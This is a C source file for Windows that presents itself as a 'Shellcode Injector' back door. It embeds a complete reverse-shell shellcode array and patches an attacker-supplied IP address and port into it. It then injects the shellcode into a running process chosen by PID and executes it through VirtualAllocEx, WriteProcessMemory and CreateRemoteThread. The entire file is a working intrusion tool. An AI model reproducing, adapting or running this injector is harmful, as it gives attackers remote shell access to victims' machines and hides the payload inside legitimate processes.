#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>


/* Shellcode Injector - NoxusFiles.com */
/* ***********************************
 * Coded by lin0xx [at] metasploit.com
 * ***********************************
 * Simple back door that injects a 
 * reverse shell payload into the 
 * process and connecting to the ip and
 * port specified.
 * ***********************************/

#define IP_OFFSET 160 
#define PORT_OFFSET 166 

int __cdecl main(int argc, char **argv){
	BYTE i = 0;
	WORD port = 0;
	//BYTE byteOfIpAddress = 0;
	HANDLE processHandle = 0;
	HANDLE threadHandle = 0;
	unsigned long ipAddress = 0;
	LPVOID shellcodeAddress = NULL;
	LPCSTR pid = argv[1];

	unsigned char reverseShellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
"\xff\xff\xff\xff\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9"
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
"\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";

	printf("[*] NoxusFiles.com Shellcode Injector\n");
	printf("*************************************\n");
	printf("Author: lin0xx [at] metasploit.com\n");

	if(argc < 3){
		printf("***Failed***\n");
		printf("usage: %s [pid] [ip address] [optional: port]\n", argv[0]);
		printf("by default, the port will be 4321\n");
		return 1;
	}

	if((ipAddress = inet_addr(argv[2])) == INADDR_NONE){
		printf("[*] Failed to convert ip address into unsigned long\n");
		return 1;
	}
	
	/* set the ip for the shell to connect to */
	*(DWORD *)(reverseShellcode+IP_OFFSET) = ipAddress;


	if(argc > 3){
		port = atoi(argv[3]);
		*(BYTE *)(reverseShellcode+PORT_OFFSET) = ((port >> 8)&0xff);
		*(BYTE *)(reverseShellcode+PORT_OFFSET+1) = (port & 0xff);
	}

	if(!(processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(pid)))){
		printf("[*] Unable to OpenProcess()\n");
		return 1;
	}

	printf("[*] Allocating memory of size %d\n", sizeof(reverseShellcode));

	if(!(shellcodeAddress = VirtualAllocEx(processHandle, NULL, sizeof(reverseShellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE))){
	       printf("[*] VirtualAllocEx() failed\n");
	       CloseHandle(processHandle);
	       return 1;
	}

	if(!WriteProcessMemory(processHandle, (LPVOID)shellcodeAddress, reverseShellcode, sizeof(reverseShellcode), NULL)){
		printf("[*] WriteProcessMemory() failed\n");
		VirtualFreeEx(processHandle, shellcodeAddress, sizeof(reverseShellcode), MEM_DECOMMIT);
		CloseHandle(processHandle);
		return 1;
	}

	if(!(threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)shellcodeAddress, \
				(LPVOID)0, 0, NULL))){
		printf("[*] CreateRemoteThread() failed\n");
		VirtualFreeEx(processHandle, shellcodeAddress, sizeof(reverseShellcode), MEM_DECOMMIT);
		CloseHandle(processHandle);
		return 1;
	}

	CloseHandle(threadHandle);
	CloseHandle(processHandle);
	printf("[*] Shellcode injection complete\n");
	return 0;
}